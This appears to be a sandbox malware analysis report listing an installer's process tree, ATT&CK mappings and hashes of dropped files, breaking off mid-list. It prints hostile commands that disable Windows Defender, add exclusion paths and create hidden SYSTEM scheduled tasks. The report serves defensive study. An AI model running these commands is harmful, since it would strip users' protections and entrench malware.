C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4228

C:\Windows\system32\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
2⤵
PID:1264

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
1⤵
PID:4700

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
1⤵
PID:3652

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:1992

C:\Users\Admin\AppData\Local\Temp\LhLAIbjVjtdXSeCjh\NRKtMpzzQqeBbPa\DruHcaq.exe
C:\Users\Admin\AppData\Local\Temp\LhLAIbjVjtdXSeCjh\NRKtMpzzQqeBbPa\DruHcaq.exe d8 /site_id 525403 /S
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:4336

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;"
2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1352

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
3⤵
- Suspicious use of WriteProcessMemory
PID:4740

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
4⤵
PID:4204

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
3⤵
PID:3936

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
3⤵
PID:4012

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
3⤵
PID:2884

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
3⤵
PID:2564

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
3⤵
PID:1336

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
3⤵
PID:4216

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
3⤵
PID:4884

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
3⤵
PID:2804

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
3⤵
PID:996

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
3⤵
PID:1836

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
3⤵
PID:220

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
3⤵
PID:324

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
3⤵
PID:4656

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
3⤵
PID:2880

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
3⤵
PID:2752

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
3⤵
PID:5108

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
3⤵
PID:4108

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
3⤵
PID:2056

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
3⤵
PID:3424

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
3⤵
PID:1284

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
3⤵
PID:3736

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
3⤵
PID:3724

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
3⤵
PID:3136

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\LCMDmHxGrLJHC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\LCMDmHxGrLJHC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\VnSvEXTIbraTatzTOsR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\VnSvEXTIbraTatzTOsR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\jIUrjTqJU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\jIUrjTqJU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\nVCmSimpmwUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\nVCmSimpmwUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\twylNxKJekDU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\twylNxKJekDU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\CEEEIGvNcEpIBnVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\CEEEIGvNcEpIBnVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\LhLAIbjVjtdXSeCjh\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\LhLAIbjVjtdXSeCjh\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\fwhiGQHhSfnZUzkc\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\fwhiGQHhSfnZUzkc\" /t REG_DWORD /d 0 /reg:64;"
2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2160

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LCMDmHxGrLJHC" /t REG_DWORD /d 0 /reg:32
3⤵
PID:856

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LCMDmHxGrLJHC" /t REG_DWORD /d 0 /reg:32
4⤵
PID:2100

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LCMDmHxGrLJHC" /t REG_DWORD /d 0 /reg:64
3⤵
PID:4052

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\VnSvEXTIbraTatzTOsR" /t REG_DWORD /d 0 /reg:32
3⤵
PID:3380

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\VnSvEXTIbraTatzTOsR" /t REG_DWORD /d 0 /reg:64
3⤵
PID:4332

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\jIUrjTqJU" /t REG_DWORD /d 0 /reg:32
3⤵
PID:4228

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\jIUrjTqJU" /t REG_DWORD /d 0 /reg:64
3⤵
PID:1412

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\nVCmSimpmwUn" /t REG_DWORD /d 0 /reg:32
3⤵
PID:4280

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\nVCmSimpmwUn" /t REG_DWORD /d 0 /reg:64
3⤵
PID:3428

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\twylNxKJekDU2" /t REG_DWORD /d 0 /reg:32
3⤵
PID:2700

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\twylNxKJekDU2" /t REG_DWORD /d 0 /reg:64
3⤵
PID:4480

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\CEEEIGvNcEpIBnVB /t REG_DWORD /d 0 /reg:32
3⤵
PID:2000

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\CEEEIGvNcEpIBnVB /t REG_DWORD /d 0 /reg:64
3⤵
PID:3256

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\LhLAIbjVjtdXSeCjh /t REG_DWORD /d 0 /reg:32
3⤵
PID:4668

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\LhLAIbjVjtdXSeCjh /t REG_DWORD /d 0 /reg:64
3⤵
PID:4980

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\fwhiGQHhSfnZUzkc /t REG_DWORD /d 0 /reg:32
3⤵
PID:4400

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\fwhiGQHhSfnZUzkc /t REG_DWORD /d 0 /reg:64
3⤵
PID:1876

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "gsfocGeaB" /SC once /ST 01:44:53 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
2⤵
- Creates scheduled task(s)
PID:3404

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "gsfocGeaB"
2⤵
PID:2900

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "gsfocGeaB"
2⤵
PID:3456

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "HqggdVJZxuzvaULcA" /SC once /ST 01:59:05 /RU "SYSTEM" /TR "\"C:\Windows\Temp\fwhiGQHhSfnZUzkc\sjPeeWCTnrqbGVf\VAklVcz.exe\" Av /site_id 525403 /S" /V1 /F
2⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:3288

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "HqggdVJZxuzvaULcA"
2⤵
PID:4888

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4296

C:\Windows\system32\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
2⤵
PID:1860

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
1⤵
PID:3620

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:4076

C:\Windows\Temp\fwhiGQHhSfnZUzkc\sjPeeWCTnrqbGVf\VAklVcz.exe
C:\Windows\Temp\fwhiGQHhSfnZUzkc\sjPeeWCTnrqbGVf\VAklVcz.exe Av /site_id 525403 /S
1⤵
- Executes dropped EXE
- Drops Chrome extension
- Drops desktop.ini file(s)
- Drops file in System32 directory
- Drops file in Program Files directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:2380

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "bGZpGlqvDNKjraWjlZ"
2⤵
PID:2692

C:\Windows\SysWOW64\cmd.exe
cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
2⤵
PID:4732

C:\Windows\SysWOW64\reg.exe
REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
3⤵
PID:4012

C:\Windows\SysWOW64\cmd.exe
cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
2⤵
PID:3708

C:\Windows\SysWOW64\reg.exe
REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
3⤵
PID:4868

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\jIUrjTqJU\VNIYkW.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "IyXvSOFErlMUKai" /V1 /F
2⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:4216

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "IyXvSOFErlMUKai2" /F /xml "C:\Program Files (x86)\jIUrjTqJU\BRjYyMj.xml" /RU "SYSTEM"
2⤵
- Creates scheduled task(s)
PID:2752

C:\Windows\SysWOW64\schtasks.exe
schtasks /END /TN "IyXvSOFErlMUKai"
2⤵
PID:1736

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "IyXvSOFErlMUKai"
2⤵
PID:1284

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "hNhPffLFSWePjj" /F /xml "C:\Program Files (x86)\twylNxKJekDU2\JZXlMoH.xml" /RU "SYSTEM"
2⤵
- Creates scheduled task(s)
PID:2608

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "AzbKTkTFnqewi2" /F /xml "C:\ProgramData\CEEEIGvNcEpIBnVB\LSRnZmp.xml" /RU "SYSTEM"
2⤵
- Creates scheduled task(s)
PID:2796

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "WeBOqsSYMRAwVFzkb2" /F /xml "C:\Program Files (x86)\VnSvEXTIbraTatzTOsR\mbuCyuW.xml" /RU "SYSTEM"
2⤵
- Creates scheduled task(s)
PID:1320

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "gmafinJubMSteXSrfVu2" /F /xml "C:\Program Files (x86)\LCMDmHxGrLJHC\jnFLWIq.xml" /RU "SYSTEM"
2⤵
- Creates scheduled task(s)
PID:4268

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Program Files (x86)\LCMDmHxGrLJHC\jnFLWIq.xml
Filesize
2KB

MD5
b982c6b21dbebbaf6b236570245bc034

SHA1
5baae4e9420fdd2eeff7b30c29eaecd47c1e08ec

SHA256
5909b03f96bf3aa990fe8b7bd587ebe347b813ad0d8b9b5ebea4ad622324ed24

SHA512
dd70cdde809d75d1ccd19dc498ffc1892f5aea075317aa73eb6984239c49230d0dbee5a817a72a03f657285c210fa57126cdeb3cc0b647cfa307030e107cd05d

Download Submit
C:\Program Files (x86)\VnSvEXTIbraTatzTOsR\mbuCyuW.xml
Filesize
2KB

MD5
389e50d4da488636a019dbc6e97d7dcc

SHA1
5e5dd4f4b47d0e54f26e348d85633dae1be994da

SHA256
83354381cd8fc3e6cbe71dab89377e73ee16c7662b1829d4cc4a570563221dfa

SHA512
058acd17b2dfdcd05cc42ef9e38a7492d667ce8183d73175ef3efa38920b0a3080d0b25ee47f3258da18e50345a6dbf5fe4b16e6d93f015f31d86419dad5d747

Download Submit
C:\Program Files (x86)\jIUrjTqJU\BRjYyMj.xml
Filesize
2KB

MD5
894bb652e28f6282e009e27bbaa50629

SHA1
297a5cd203571998f4308b246700010f63af1a1f

SHA256
29041fcdfaad66dcd91d386342f8cd8e0df87a266d15724d84ad657f7144eabb

SHA512
e870416e6d2ebda69a52b18fc83429a800a53774e3593a672597d55d61671ae385475e138c6755c456b3c88f87e1c94c32e6c8ead3abf52c7dea37d019c1debd

Download Submit
C:\Program Files (x86)\twylNxKJekDU2\JZXlMoH.xml
Filesize
2KB

MD5
d0367f9bb47dd8f32b407ed838a3fdf8

SHA1
a752c217397ee6b15ed2f484b2a22f4be87c6453

SHA256
1732fd1e52ce88b50e91e7e22b50c9f0f7cd3245f804a8adb3738e8d13d5d4f2

SHA512
39a7268f5c5d12b1d1da1b50d286546e32b6056dc92e82cb9c301abba79b811c088637e57057cc7429192ecfa999aa0bf200c5ba296e5b743cf2c72de906e531

Download Submit
C:\ProgramData\CEEEIGvNcEpIBnVB\LSRnZmp.xml
Filesize
2KB

MD5
781ab4db1b7a68728f1c51e3f9d925e1

SHA1
2b6dd0876b36caeae42549ab75676c56c7bea757

SHA256
3abbe1a3dcc284f48ecce2ba0ecac7394fa7ad3d38ef9c4273533a0a6865e5b7

SHA512
a6c30b95456c932f6128c51fd843791210615221660e1f56aefaee5cd2130c5305043ee280e654b3b951164dac110de25eaa02ab645edf5b7c8f1860d0c31126

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log
Filesize
2KB

MD5
6cf293cb4d80be23433eecf74ddb5503

SHA1
24fe4752df102c2ef492954d6b046cb5512ad408

SHA256
b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8

SHA512
0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
64B

MD5
0ff7e1af4cc86e108eef582452b35523

SHA1
c2ccf2811d56c3a3a58dced2b07f95076c6b5b96

SHA256
62ed8ef2250f9f744852cb67df0286c80f94e26aed646989b76e5b78f2f1f0d0

SHA512
374675fd36cd8bc38acaec44d4cc855b85feece548d99616496d498e61e943fd695fec7c57550a58a32455e8b21b41bafa18cd1dadac69676fff1de1a56da937

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zSF002.tmp\Install.exe
Filesize
6.2MB

MD5
864642b4254490f43ee809197784991e

SHA1
